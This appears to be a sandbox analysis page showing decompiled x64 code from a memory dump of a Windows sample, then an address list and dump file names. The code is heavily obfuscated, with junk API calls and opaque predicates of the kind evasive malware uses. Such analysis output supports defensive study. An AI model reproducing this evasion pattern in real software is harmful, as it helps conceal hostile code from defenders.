				asm("comisd xmm0, xmm6");
				 *0xed236f60 = 0 | _t870 > 0x00000000;
				 *0xed236f60 = 1;
				GetMessageExtraInfo();
				_t437 = E00007FF67FF6ED184484(_t907);
				if (_t870 >= 0) goto 0xed0f5b44;
				_t871 = ((_t437 & 0x8000007f) - 0x00000001 | 0xffffff80) + 1 - 0x2b;
				if (_t871 > 0) goto 0xed0f5b67;
				_t442 = E00007FF67FF6ED184484(_t907);
				if (_t871 >= 0) goto 0xed0f5b59;
				 *0xed236f60 = 0 | ((_t442 & 0x8000007f) - 0x00000001 | 0xffffff80) + 0x00000001 - 0x0000002b <= 0x00000000;
				IsZoomed(??);
				 *0xed1ee398();
				GetMessageExtraInfo();
				GetCurrentProcess();
				GetModuleHandleW(??);
				 *0xed236f60 = 0x44;
				_t873 = 0x44 + dil - 0x53;
				if (_t873 < 0) goto 0xed0f5b83;
				GetTickCount();
				AnyPopup();
				E00007FF67FF6ED184484(_t907);
				if (_t873 >= 0) goto 0xed0f5bbd;
				asm("movsd xmm6, [0x113f23]");
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				if (_t873 < 0) goto 0xed0f5cb4;
				dil = 0x35;
				_t460 = E00007FF67FF6ED184484(_t907);
				if (_t873 >= 0) goto 0xed0f5bea;
				_t874 = ((_t460 & 0x8000007f) - 0x00000001 | 0xffffff80) + 1 - 0x56;
				if (_t874 == 0) goto 0xed0f5c25;
				 *0xed236f60 = 0x5c;
				_t466 = E00007FF67FF6ED184484(_t907);
				if (_t874 >= 0) goto 0xed0f5c0f;
				if (((_t466 & 0x8000007f) - 0x00000001 | 0xffffff80) + 1 != 0x6a) goto 0xed0f5c19;
				if (0x5d - 0x64 < 0) goto 0xed0f5bf1;
				E00007FF67FF6ED184484(_t907);
				goto 0xed0f5c5d;
				_t472 = E00007FF67FF6ED184484(_t907);
				if (0x5d - 0x64 >= 0) goto 0xed0f5c35;
				_t877 = ((_t472 & 0x8000007f) - 0x00000001 | 0xffffff80) + 1 - 0x12;
				if (_t877 != 0) goto 0xed0f5c58;
				_t477 = E00007FF67FF6ED184484(_t907);
				if (_t877 >= 0) goto 0xed0f5c4a;
				_t878 = ((_t477 & 0x8000007f) - 0x00000001 | 0xffffff80) + 1 - 0x12;
				 *0xed236f60 = 0 | _t878 == 0x00000000;
				_t482 = E00007FF67FF6ED184484(_t907);
				if (_t878 >= 0) goto 0xed0f5c68;
				dil = dil + 1;
				 *0xed236f60 = 0 | ((_t482 & 0x8000007f) - 0x00000001 | 0xffffff80) + 0x00000001 != 0x00000056;
				 *0xed236f60 = dil & 0xffffffff;
				_t880 = dil - 0x38;
				if (_t880 < 0) goto 0xed0f5bda;
				E00007FF67FF6ED184484(_t907);
				if (_t880 >= 0) goto 0xed0f5c9d;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				 *0xed236f60 = 0 | _t880 >= 0x00000000;
				_t61 = _t923 + 1; // 0x1
				r8d = _t61;
				E00007FF67FF6ED0FCE80(_t796, _t910, _a80, _t923);
				r12d = 1;
				if (r12d <= 0) goto 0xed0f5d01;
				E00007FF67FF6ED0FDD00(_t910, _a80,  *((intOrPtr*)(_t918 + _t910 * 8)));
				r8d =  ~_t787;
				E00007FF67FF6ED0FE000(r12d, _t907, _t910, _a80, _t923);
				if (_t910 + r8d - r8d < 0) goto 0xed0f5cd9;
				IsIconic(??);
				r13d = 0x8000007f;
				dil = 0x24;
				E00007FF67FF6ED184484(_t907);
				goto 0xed0f5d42;
				_t883 = dil - 0x2c;
				if (_t883 >= 0) goto 0xed0f5d54;
				dil = dil + r12b;
				 *0xed236f60 = 0;
				 *0xed236f60 = dil & 0xffffffff;
				_t501 = E00007FF67FF6ED184484(_t907);
				if (_t883 >= 0) goto 0xed0f5d4f;
				if (((_t501 & r13d) - r12d | 0xffffff80) + r12d - 0x32 <= 0) goto 0xed0f5d20;
				 *0xed236f60 = 0x18;
				if (0x18 + r12b - 0x21 < 0) goto 0xed0f5d11;
				GetWindowTextLengthW(??);
				GetTopWindow(??);
				GetCurrentProcessId();
				 *0xed236f60 = 0x63;
				_t886 = 0x63 + r12b - 0x65;
				if (_t886 < 0) goto 0xed0f5d7d;
				dil = 0x60;
				E00007FF67FF6ED184484(_t907);
				if (_t886 >= 0) goto 0xed0f5da3;
				asm("movsd xmm6, [0x113d95]");
				goto 0xed0f5dfe;
				if (dil - 0x73 >= 0) goto 0xed0f5e0e;
				goto 0xed0f5dc8;
				if (0x61 - 0x6c >= 0) goto 0xed0f5ddf;
				 *0xed236f60 = 0x00000061 + r12b & 0x000000ff;
				_t517 = E00007FF67FF6ED184484(_t907);
				if (0x61 - 0x6c >= 0) goto 0xed0f5dda;
				_t889 = ((_t517 & r13d) - r12d | 0xffffff80) + r12d - 5;
				if (_t889 <= 0) goto 0xed0f5db7;
				dil = dil + r12b;
				 *0xed236f60 = dil & 0xffffffff;
				E00007FF67FF6ED184484(_t907);
				if (_t889 >= 0) goto 0xed0f5dfe;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("ucomisd xmm6, xmm0");
				if (_t889 != 0) goto 0xed0f5dad;
				if (_t889 != 0) goto 0xed0f5dad;
				r14b = r14b + r12b;
				 *0xed236f60 = r14b & 0xffffffff;
				if (r14b - 0x3f < 0) goto 0xed0f5e0e;
				 *0xed236f60 = 0x1d;
				goto 0xed0f5e48;
				_t891 = r15b - 0x2e;
				if (_t891 >= 0) goto 0xed0f5e5f;
				GetTopWindow(??);
				r15b = r15b + r12b;
				 *0xed236f60 = r15b & 0xffffffff;
				_t531 = E00007FF67FF6ED184484(_t907);
				if (_t891 >= 0) goto 0xed0f5e5a;
				_t892 = ((_t531 & r13d) - r12d | 0xffffff80) + r12d - 0x35;
				if (_t892 != 0) goto 0xed0f5e2d;
				asm("movsd xmm6, [0x113b91]");
				E00007FF67FF6ED184484(_t907);
				if (_t892 >= 0) goto 0xed0f5e7b;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				if (_t892 >= 0) goto 0xed0f5ec6;
				_t541 = E00007FF67FF6ED184484(_t907);
				if (_t892 >= 0) goto 0xed0f5e9b;
				_t893 = ((_t541 & r13d) - r12d | 0xffffff80) + r12d - 8;
				if (_t893 != 0) goto 0xed0f5ec6;
				 *0xed1ee398();
				_t547 = E00007FF67FF6ED184484(_t907);
				if (_t893 >= 0) goto 0xed0f5eb8;
				_t894 = ((_t547 & r13d) - r12d | 0xffffff80) + r12d - 8;
				 *0xed236f60 = 0 | _t894 == 0x00000000;
				E00007FF67FF6ED184484(_t907);
				if (_t894 >= 0) goto 0xed0f5ed8;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				 *0xed236f60 = 0 | _t894 >= 0x00000000;
				 *0xed236f60 = 2;
				_t895 = 2 + r12b - 9;
				if (_t895 < 0) goto 0xed0f5e69;
				 *0xed236f60 = r12d;
				GetCommandLineW();
				asm("movaps xmm6, [esp+0x20]");
				_pop(_t944);
				_pop(_t942);
				_pop(_t940);
				_pop(_t937);
				_pop(_t922);
				goto E00007FF67FF6ED0FE2B0;
				asm("int3");
				asm("int3");
				_t908 = _t930 - 0x30 + 0x30;
				 *((long long*)(_t908 + 8)) = _a88;
				 *((long long*)(_t908 + 0x10)) = _a96;
				 *((long long*)(_t908 + 0x18)) = _a104;
				asm("movaps [eax-0x38], xmm6");
				r14d = r8d;
				E00007FF67FF6ED184484(_t908);
				r13d = 0x8000007f;
				r15d = 1;
				r12d = 0xffffff80;
				if (_t895 >= 0) goto 0xed0f5f95;
				asm("movsd xmm6, [0x113b2b]");
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				if (_t895 < 0) goto 0xed0f5fdd;
				 *0xed1ee3f0(_t944, _t942, _t940, _t937, _t922);
				E00007FF67FF6ED184484(_t908);
				if (_t895 >= 0) goto 0xed0f5fc4;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				 *0xed236f60 = 0 | _t895 >= 0x00000000;
				goto 0xed0f601c;
				_t574 = E00007FF67FF6ED184484(_t908);
				if (_t895 >= 0) goto 0xed0f5ff0;
				_t896 = ((_t574 & r13d) - r15d | r12d) + r15d - 0x57;
				if (_t896 != 0) goto 0xed0f5ffb;
				E00007FF67FF6ED1EE020();
				_t579 = E00007FF67FF6ED184484(_t908);
				if (_t896 >= 0) goto 0xed0f600e;
				_t897 = ((_t579 & r13d) - r15d | r12d) + r15d - 0x57;
				 *0xed236f60 = 0 | _t897 == 0x00000000;
				 *0xed236f60 = r15d;
				_t584 = E00007FF67FF6ED184484(_t908);
				if (_t897 >= 0) goto 0xed0f6036;
				_t898 = ((_t584 & r13d) - r15d | r12d) + r15d - 0x29;
				if (_t898 <= 0) goto 0xed0f60c2;
				E00007FF67FF6ED184484(_t908);
				if (_t898 >= 0) goto 0xed0f6052;
				asm("movsd xmm6, [0x1139c6]");
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				if (_t898 < 0) goto 0xed0f606e;
				E00007FF67FF6ED1EE020();
				E00007FF67FF6ED184484(_t908);
				if (_t898 >= 0) goto 0xed0f6081;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				 *0xed236f60 = 0 | _t898 >= 0x00000000;
				 *0xed236f60 = r15d;
				_t601 = E00007FF67FF6ED184484(_t908);
				if (_t898 >= 0) goto 0xed0f60b2;
				 *0xed236f60 = 0 | ((_t601 & r13d) - r15d | r12d) + r15d - 0x00000029 > 0x00000000;
				goto 0xed0f60cc;
				 *0xed236f60 = 0;
				 *0xed236f60 = r15d;
				 *0xed1ee008();
				 *0xed236f60 = 0x26;
				if (0x26 + r15b - 0x35 < 0) goto 0xed0f60db;
				E00007FF67FF6ED1EE028();
				 *0xed236f60 = 0x2e;
				_t901 = 0x2e + r15b - 0x30;
				if (_t901 < 0) goto 0xed0f60ee;
				 *0xed1ee398();
				 *0xed236f60 = r15d;
				E00007FF67FF6ED184484(_t908);
				if (_t901 >= 0) goto 0xed0f6127;
				asm("movsd xmm6, [0x1138b1]");
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("ucomisd xmm6, xmm0");
				if (_t901 != 0) goto 0xed0f613f;
				if (_t901 == 0) goto 0xed0f6174;
				 *0xed236f60 = 0;
				 *0xed236f60 = 0x34;
				_t616 = E00007FF67FF6ED184484(_t908);
				if (_t901 >= 0) goto 0xed0f616a;
				if (((_t616 & r13d) - r15d | r12d) + r15d - 0x3b < 0) goto 0xed0f6174;
				_t903 = 0x34 + r15b - 0x41;
				if (_t903 < 0) goto 0xed0f6141;
				E00007FF67FF6ED184484(_t908);
				if (_t903 >= 0) goto 0xed0f6187;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("ucomisd xmm6, xmm0");
				if (_t903 != 0) goto 0xed0f619c;
				if (_t903 != 0) goto 0xed0f619c;
				goto 0xed0f619e;
				 *0xed236f60 = 0;
				 *0xed1ee3c8();
				 *0xed1ee3d0();
				 *0xed1ee398();
				goto 0xed0f61d4;
				asm("sti");
				_push(0x73);
				asm("fild word [ecx+ecx*4+0x3d]");
				return _t796 | 0xb60f0014;
			}

0x7ff6ed0f512f
0x7ff6ed0f5138
0x7ff6ed0f513e
0x7ff6ed0f5144
0x7ff6ed0f5147
0x7ff6ed0f514f
0x7ff6ed0f5158
0x7ff6ed0f5160
0x7ff6ed0f5169
0x7ff6ed0f5176
0x7ff6ed0f5179
0x7ff6ed0f5185
0x7ff6ed0f518c
0x7ff6ed0f518f
0x7ff6ed0f51a0
0x7ff6ed0f51a6
0x7ff6ed0f51b0
0x7ff6ed0f51b9
0x7ff6ed0f51bb
0x7ff6ed0f51c1
0x7ff6ed0f51cd
0x7ff6ed0f51d3
0x7ff6ed0f51d6
0x7ff6ed0f51d8
0x7ff6ed0f51df
0x7ff6ed0f51e5
0x7ff6ed0f51ed
0x7ff6ed0f51f6
0x7ff6ed0f51fa
0x7ff6ed0f51fe
0x7ff6ed0f5202
0x7ff6ed0f5204
0x7ff6ed0f520a
0x7ff6ed0f5214
0x7ff6ed0f5222
0x7ff6ed0f5228
0x7ff6ed0f522b
0x7ff6ed0f522d
0x7ff6ed0f5233
0x7ff6ed0f523b
0x7ff6ed0f5244
0x7ff6ed0f5247
0x7ff6ed0f5249
0x7ff6ed0f5251
0x7ff6ed0f5262
0x7ff6ed0f5270
0x7ff6ed0f5276
0x7ff6ed0f5279
0x7ff6ed0f527b
0x7ff6ed0f5287
0x7ff6ed0f528f
0x7ff6ed0f5298
0x7ff6ed0f52a0
0x7ff6ed0f52b7
0x7ff6ed0f52bd
0x7ff6ed0f52c6
0x7ff6ed0f52c8
0x7ff6ed0f52ce
0x7ff6ed0f52d6
0x7ff6ed0f52e2
0x7ff6ed0f52e8
0x7ff6ed0f52eb
0x7ff6ed0f52ef
0x7ff6ed0f52f5
0x7ff6ed0f52fb
0x7ff6ed0f5301
0x7ff6ed0f5309
0x7ff6ed0f5315
0x7ff6ed0f5319
0x7ff6ed0f531e
0x7ff6ed0f5326
0x7ff6ed0f532c
0x7ff6ed0f5334
0x7ff6ed0f533d
0x7ff6ed0f5340
0x7ff6ed0f5342
0x7ff6ed0f534a
0x7ff6ed0f535b
0x7ff6ed0f5361
0x7ff6ed0f536a
0x7ff6ed0f5370
0x7ff6ed0f5373
0x7ff6ed0f5377
0x7ff6ed0f537d
0x7ff6ed0f538b
0x7ff6ed0f5391
0x7ff6ed0f5399
0x7ff6ed0f53a5
0x7ff6ed0f53a7
0x7ff6ed0f53aa
0x7ff6ed0f53ac
0x7ff6ed0f53b1
0x7ff6ed0f53b9
0x7ff6ed0f53c2
0x7ff6ed0f53c5
0x7ff6ed0f53c7
0x7ff6ed0f53d1
0x7ff6ed0f53d9
0x7ff6ed0f53ea
0x7ff6ed0f53f6
0x7ff6ed0f53ff
0x7ff6ed0f5405
0x7ff6ed0f5408
0x7ff6ed0f540e
0x7ff6ed0f5418
0x7ff6ed0f541c
0x7ff6ed0f5424
0x7ff6ed0f542a
0x7ff6ed0f5432
0x7ff6ed0f543c
0x7ff6ed0f5442
0x7ff6ed0f544a
0x7ff6ed0f544f
0x7ff6ed0f5457
0x7ff6ed0f545d
0x7ff6ed0f5465
0x7ff6ed0f546e
0x7ff6ed0f5471
0x7ff6ed0f5473
0x7ff6ed0f547b
0x7ff6ed0f5484
0x7ff6ed0f5487
0x7ff6ed0f548b
0x7ff6ed0f5491
0x7ff6ed0f5499
0x7ff6ed0f54aa
0x7ff6ed0f54b0
0x7ff6ed0f54b8
0x7ff6ed0f54c4
0x7ff6ed0f54ca
0x7ff6ed0f54cd
0x7ff6ed0f54d1
0x7ff6ed0f54d7
0x7ff6ed0f54dd
0x7ff6ed0f54e3
0x7ff6ed0f54eb
0x7ff6ed0f54f4
0x7ff6ed0f54f7
0x7ff6ed0f54f9
0x7ff6ed0f5501
0x7ff6ed0f550c
0x7ff6ed0f5512
0x7ff6ed0f5520
0x7ff6ed0f5526
0x7ff6ed0f552e
0x7ff6ed0f553a
0x7ff6ed0f553c
0x7ff6ed0f553f
0x7ff6ed0f5543
0x7ff6ed0f5549
0x7ff6ed0f5551
0x7ff6ed0f555a
0x7ff6ed0f555d
0x7ff6ed0f555f
0x7ff6ed0f5567
0x7ff6ed0f5578
0x7ff6ed0f557a
0x7ff6ed0f5582
0x7ff6ed0f558b
0x7ff6ed0f558e
0x7ff6ed0f5590
0x7ff6ed0f5598
0x7ff6ed0f55a1
0x7ff6ed0f55a9
0x7ff6ed0f55af
0x7ff6ed0f55b7
0x7ff6ed0f55c3
0x7ff6ed0f55c7
0x7ff6ed0f55cd
0x7ff6ed0f55d7
0x7ff6ed0f55dd
0x7ff6ed0f55e0
0x7ff6ed0f55e2
0x7ff6ed0f55ea
0x7ff6ed0f55fd
0x7ff6ed0f5605
0x7ff6ed0f5611
0x7ff6ed0f5617
0x7ff6ed0f561a
0x7ff6ed0f561c
0x7ff6ed0f5624
0x7ff6ed0f562d
0x7ff6ed0f5630
0x7ff6ed0f5635
0x7ff6ed0f563b
0x7ff6ed0f5641
0x7ff6ed0f5649
0x7ff6ed0f5652
0x7ff6ed0f5656
0x7ff6ed0f565a
0x7ff6ed0f5662
0x7ff6ed0f5664
0x7ff6ed0f5667
0x7ff6ed0f5669
0x7ff6ed0f5671
0x7ff6ed0f567a
0x7ff6ed0f567d
0x7ff6ed0f5681
0x7ff6ed0f568f
0x7ff6ed0f5694
0x7ff6ed0f5699
0x7ff6ed0f569e
0x7ff6ed0f56a3
0x7ff6ed0f56a8
0x7ff6ed0f56ad
0x7ff6ed0f56b1
0x7ff6ed0f56b3
0x7ff6ed0f56b5
0x7ff6ed0f56b6
0x7ff6ed0f56bb
0x7ff6ed0f56bc
0x7ff6ed0f56bf
0x7ff6ed0f56c3
0x7ff6ed0f56c7
0x7ff6ed0f56cb
0x7ff6ed0f56e1
0x7ff6ed0f56e5
0x7ff6ed0f56ee
0x7ff6ed0f56fc
0x7ff6ed0f5701
0x7ff6ed0f570f
0x7ff6ed0f5717
0x7ff6ed0f571a
0x7ff6ed0f571f
0x7ff6ed0f5723
0x7ff6ed0f5729
0x7ff6ed0f5736
0x7ff6ed0f573c
0x7ff6ed0f5744
0x7ff6ed0f574f
0x7ff6ed0f5751
0x7ff6ed0f5757
0x7ff6ed0f5761
0x7ff6ed0f576d
0x7ff6ed0f5773
0x7ff6ed0f5776
0x7ff6ed0f577a
0x7ff6ed0f5780
0x7ff6ed0f5788
0x7ff6ed0f5790
0x7ff6ed0f5793
0x7ff6ed0f5795
0x7ff6ed0f579c
0x7ff6ed0f57a4
0x7ff6ed0f57af
0x7ff6ed0f57b5
0x7ff6ed0f57bb
0x7ff6ed0f57bd
0x7ff6ed0f57c3
0x7ff6ed0f57ca
0x7ff6ed0f57d2
0x7ff6ed0f57dd
0x7ff6ed0f57e7
0x7ff6ed0f57ed
0x7ff6ed0f57f0
0x7ff6ed0f57f2
0x7ff6ed0f57fa
0x7ff6ed0f5805
0x7ff6ed0f580b
0x7ff6ed0f5819
0x7ff6ed0f581f
0x7ff6ed0f5827
0x7ff6ed0f5832
0x7ff6ed0f5834
0x7ff6ed0f5837
0x7ff6ed0f5839
0x7ff6ed0f583f
0x7ff6ed0f5845
0x7ff6ed0f584b
0x7ff6ed0f5851
0x7ff6ed0f5856
0x7ff6ed0f585b
0x7ff6ed0f5863
0x7ff6ed0f5866
0x7ff6ed0f5868
0x7ff6ed0f586f
0x7ff6ed0f587a
0x7ff6ed0f5880
0x7ff6ed0f5886
0x7ff6ed0f588d
0x7ff6ed0f5895
0x7ff6ed0f589b
0x7ff6ed0f589f
0x7ff6ed0f58a2
0x7ff6ed0f58a4
0x7ff6ed0f58ab
0x7ff6ed0f58bb
0x7ff6ed0f58c0
0x7ff6ed0f58c7
0x7ff6ed0f58cf
0x7ff6ed0f58d2
0x7ff6ed0f58d8
0x7ff6ed0f58df
0x7ff6ed0f58e7
0x7ff6ed0f58ea
0x7ff6ed0f58ee
0x7ff6ed0f58f4
0x7ff6ed0f58fb
0x7ff6ed0f5905
0x7ff6ed0f590b
0x7ff6ed0f5911
0x7ff6ed0f5916
0x7ff6ed0f591d
0x7ff6ed0f5925
0x7ff6ed0f592d
0x7ff6ed0f5931
0x7ff6ed0f5935
0x7ff6ed0f5939
0x7ff6ed0f593b
0x7ff6ed0f5942
0x7ff6ed0f594d
0x7ff6ed0f5951
0x7ff6ed0f5956
0x7ff6ed0f5958
0x7ff6ed0f5964
0x7ff6ed0f596a
0x7ff6ed0f5974
0x7ff6ed0f597c
0x7ff6ed0f597f
0x7ff6ed0f5981
0x7ff6ed0f598b
0x7ff6ed0f598d
0x7ff6ed0f5993
0x7ff6ed0f599a
0x7ff6ed0f59a4
0x7ff6ed0f59aa
0x7ff6ed0f59b0
0x7ff6ed0f59b7
0x7ff6ed0f59bf
0x7ff6ed0f59c5
0x7ff6ed0f59c9
0x7ff6ed0f59d0
0x7ff6ed0f59d6
0x7ff6ed0f59dd
0x7ff6ed0f59ed
0x7ff6ed0f59f3
0x7ff6ed0f59fb
0x7ff6ed0f5a09
0x7ff6ed0f5a13
0x7ff6ed0f5a15
0x7ff6ed0f5a23
0x7ff6ed0f5a29
0x7ff6ed0f5a2c
0x7ff6ed0f5a30
0x7ff6ed0f5a36
0x7ff6ed0f5a3d
0x7ff6ed0f5a46
0x7ff6ed0f5a49
0x7ff6ed0f5a4b
0x7ff6ed0f5a52
0x7ff6ed0f5a5d
0x7ff6ed0f5a63
0x7ff6ed0f5a69
0x7ff6ed0f5a6b
0x7ff6ed0f5a71
0x7ff6ed0f5a7b
0x7ff6ed0f5a82
0x7ff6ed0f5a8b
0x7ff6ed0f5a93
0x7ff6ed0f5a97
0x7ff6ed0f5a9b
0x7ff6ed0f5a9f
0x7ff6ed0f5aa9
0x7ff6ed0f5aaf
0x7ff6ed0f5ab2
0x7ff6ed0f5ab4
0x7ff6ed0f5abb
0x7ff6ed0f5ac4
0x7ff6ed0f5aca
0x7ff6ed0f5ace
0x7ff6ed0f5ad5
0x7ff6ed0f5adb
0x7ff6ed0f5ae2
0x7ff6ed0f5aeb
0x7ff6ed0f5af3
0x7ff6ed0f5af7
0x7ff6ed0f5afb
0x7ff6ed0f5aff
0x7ff6ed0f5b01
0x7ff6ed0f5b08
0x7ff6ed0f5b11
0x7ff6ed0f5b17
0x7ff6ed0f5b1b
0x7ff6ed0f5b22
0x7ff6ed0f5b28
0x7ff6ed0f5b2e
0x7ff6ed0f5b34
0x7ff6ed0f5b3b
0x7ff6ed0f5b44
0x7ff6ed0f5b47
0x7ff6ed0f5b49
0x7ff6ed0f5b50
0x7ff6ed0f5b61
0x7ff6ed0f5b69
0x7ff6ed0f5b6f
0x7ff6ed0f5b75
0x7ff6ed0f5b7b
0x7ff6ed0f5b85
0x7ff6ed0f5b91
0x7ff6ed0f5b97
0x7ff6ed0f5b9a
0x7ff6ed0f5b9c
0x7ff6ed0f5ba2
0x7ff6ed0f5ba8
0x7ff6ed0f5bb4
0x7ff6ed0f5bbd
0x7ff6ed0f5bc5
0x7ff6ed0f5bc9
0x7ff6ed0f5bcd
0x7ff6ed0f5bd1
0x7ff6ed0f5bd7
0x7ff6ed0f5bda
0x7ff6ed0f5be1
0x7ff6ed0f5bea
0x7ff6ed0f5bed
0x7ff6ed0f5bf6
0x7ff6ed0f5bfc
0x7ff6ed0f5c06
0x7ff6ed0f5c12
0x7ff6ed0f5c17
0x7ff6ed0f5c19
0x7ff6ed0f5c23
0x7ff6ed0f5c25
0x7ff6ed0f5c2c
0x7ff6ed0f5c35
0x7ff6ed0f5c38
0x7ff6ed0f5c3a
0x7ff6ed0f5c41
0x7ff6ed0f5c4c
0x7ff6ed0f5c52
0x7ff6ed0f5c58
0x7ff6ed0f5c5f
0x7ff6ed0f5c74
0x7ff6ed0f5c77
0x7ff6ed0f5c7d
0x7ff6ed0f5c83
0x7ff6ed0f5c87
0x7ff6ed0f5c8d
0x7ff6ed0f5c94
0x7ff6ed0f5c9d
0x7ff6ed0f5ca3
0x7ff6ed0f5ca7
0x7ff6ed0f5cae
0x7ff6ed0f5cb6
0x7ff6ed0f5cb6
0x7ff6ed0f5cc2
0x7ff6ed0f5ccd
0x7ff6ed0f5cd3
0x7ff6ed0f5ce1
0x7ff6ed0f5ce6
0x7ff6ed0f5cf1
0x7ff6ed0f5cff
0x7ff6ed0f5d03
0x7ff6ed0f5d0b
0x7ff6ed0f5d11
0x7ff6ed0f5d14
0x7ff6ed0f5d1e
0x7ff6ed0f5d20
0x7ff6ed0f5d24
0x7ff6ed0f5d26
0x7ff6ed0f5d29
0x7ff6ed0f5d37
0x7ff6ed0f5d3d
0x7ff6ed0f5d45
0x7ff6ed0f5d52
0x7ff6ed0f5d5a
0x7ff6ed0f5d63
0x7ff6ed0f5d67
0x7ff6ed0f5d6f
0x7ff6ed0f5d75
0x7ff6ed0f5d83
0x7ff6ed0f5d89
0x7ff6ed0f5d8c
0x7ff6ed0f5d8e
0x7ff6ed0f5d91
0x7ff6ed0f5d99
0x7ff6ed0f5da3
0x7ff6ed0f5dab
0x7ff6ed0f5db1
0x7ff6ed0f5db5
0x7ff6ed0f5dba
0x7ff6ed0f5dc2
0x7ff6ed0f5dc8
0x7ff6ed0f5dd0
0x7ff6ed0f5dda
0x7ff6ed0f5ddd
0x7ff6ed0f5ddf
0x7ff6ed0f5de6
0x7ff6ed0f5dec
0x7ff6ed0f5df4
0x7ff6ed0f5dfe
0x7ff6ed0f5e02
0x7ff6ed0f5e06
0x7ff6ed0f5e0a
0x7ff6ed0f5e0c
0x7ff6ed0f5e0e
0x7ff6ed0f5e15
0x7ff6ed0f5e1f
0x7ff6ed0f5e21
0x7ff6ed0f5e2b
0x7ff6ed0f5e2d
0x7ff6ed0f5e31
0x7ff6ed0f5e35
0x7ff6ed0f5e3b
0x7ff6ed0f5e42
0x7ff6ed0f5e48
0x7ff6ed0f5e50
0x7ff6ed0f5e5a
0x7ff6ed0f5e5d
0x7ff6ed0f5e5f
0x7ff6ed0f5e69
0x7ff6ed0f5e71
0x7ff6ed0f5e7b
0x7ff6ed0f5e7f
0x7ff6ed0f5e83
0x7ff6ed0f5e87
0x7ff6ed0f5e89
0x7ff6ed0f5e91
0x7ff6ed0f5e9b
0x7ff6ed0f5e9e
0x7ff6ed0f5ea0
0x7ff6ed0f5ea6
0x7ff6ed0f5eae
0x7ff6ed0f5eba
0x7ff6ed0f5ec0
0x7ff6ed0f5ec6
0x7ff6ed0f5ece
0x7ff6ed0f5ed8
0x7ff6ed0f5ede
0x7ff6ed0f5ee2
0x7ff6ed0f5eec
0x7ff6ed0f5ef5
0x7ff6ed0f5efb
0x7ff6ed0f5efe
0x7ff6ed0f5f04
0x7ff6ed0f5f0b
0x7ff6ed0f5f2f
0x7ff6ed0f5f38
0x7ff6ed0f5f3a
0x7ff6ed0f5f3c
0x7ff6ed0f5f3e
0x7ff6ed0f5f40
0x7ff6ed0f5f41
0x7ff6ed0f5f46
0x7ff6ed0f5f47
0x7ff6ed0f5f48
0x7ff6ed0f5f4b
0x7ff6ed0f5f4f
0x7ff6ed0f5f53
0x7ff6ed0f5f64
0x7ff6ed0f5f68
0x7ff6ed0f5f70
0x7ff6ed0f5f75
0x7ff6ed0f5f7b
0x7ff6ed0f5f81
0x7ff6ed0f5f8a
0x7ff6ed0f5f95
0x7ff6ed0f5f9d
0x7ff6ed0f5fa1
0x7ff6ed0f5fa5
0x7ff6ed0f5fa9
0x7ff6ed0f5fab
0x7ff6ed0f5fb1
0x7ff6ed0f5fb9
0x7ff6ed0f5fc4
0x7ff6ed0f5fca
0x7ff6ed0f5fce
0x7ff6ed0f5fd5
0x7ff6ed0f5fdb
0x7ff6ed0f5fdd
0x7ff6ed0f5fe5
0x7ff6ed0f5ff0
0x7ff6ed0f5ff3
0x7ff6ed0f5ff5
0x7ff6ed0f5ffb
0x7ff6ed0f6003
0x7ff6ed0f6010
0x7ff6ed0f6016
0x7ff6ed0f601c
0x7ff6ed0f6023
0x7ff6ed0f602b
0x7ff6ed0f6036
0x7ff6ed0f6039
0x7ff6ed0f603f
0x7ff6ed0f6047
0x7ff6ed0f6052
0x7ff6ed0f605a
0x7ff6ed0f605e
0x7ff6ed0f6062
0x7ff6ed0f6066
0x7ff6ed0f6068
0x7ff6ed0f606e
0x7ff6ed0f6076
0x7ff6ed0f6081
0x7ff6ed0f6087
0x7ff6ed0f608b
0x7ff6ed0f6092
0x7ff6ed0f6098
0x7ff6ed0f609f
0x7ff6ed0f60a7
0x7ff6ed0f60ba
0x7ff6ed0f60c0
0x7ff6ed0f60c2
0x7ff6ed0f60cc
0x7ff6ed0f60d3
0x7ff6ed0f60e1
0x7ff6ed0f60ea
0x7ff6ed0f60f0
0x7ff6ed0f60fc
0x7ff6ed0f6102
0x7ff6ed0f6105
0x7ff6ed0f6107
0x7ff6ed0f610d
0x7ff6ed0f6114
0x7ff6ed0f611c
0x7ff6ed0f6127
0x7ff6ed0f612f
0x7ff6ed0f6133
0x7ff6ed0f6137
0x7ff6ed0f613b
0x7ff6ed0f613d
0x7ff6ed0f6141
0x7ff6ed0f6151
0x7ff6ed0f6157
0x7ff6ed0f615f
0x7ff6ed0f616d
0x7ff6ed0f616f
0x7ff6ed0f6172
0x7ff6ed0f6174
0x7ff6ed0f617c
0x7ff6ed0f6187
0x7ff6ed0f618b
0x7ff6ed0f618f
0x7ff6ed0f6193
0x7ff6ed0f6195
0x7ff6ed0f619a
0x7ff6ed0f619e
0x7ff6ed0f61a4
0x7ff6ed0f61ac
0x7ff6ed0f61b2
0x7ff6ed0f61ba
0x7ff6ed0f61bd
0x7ff6ed0f61be
0x7ff6ed0f61c3
0x7ff6ed0f61cd

Memory Dump Source

Source File: 0000000F.00000002.460721727.00007FF6ED0F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6ED0F0000, based on PE: true

Associated: 0000000F.00000002.460678290.00007FF6ED0F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.462491399.00007FF6ED1EE000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463407838.00007FF6ED236000.00000004.00000001.01000000.00000008.sdmpDownload File
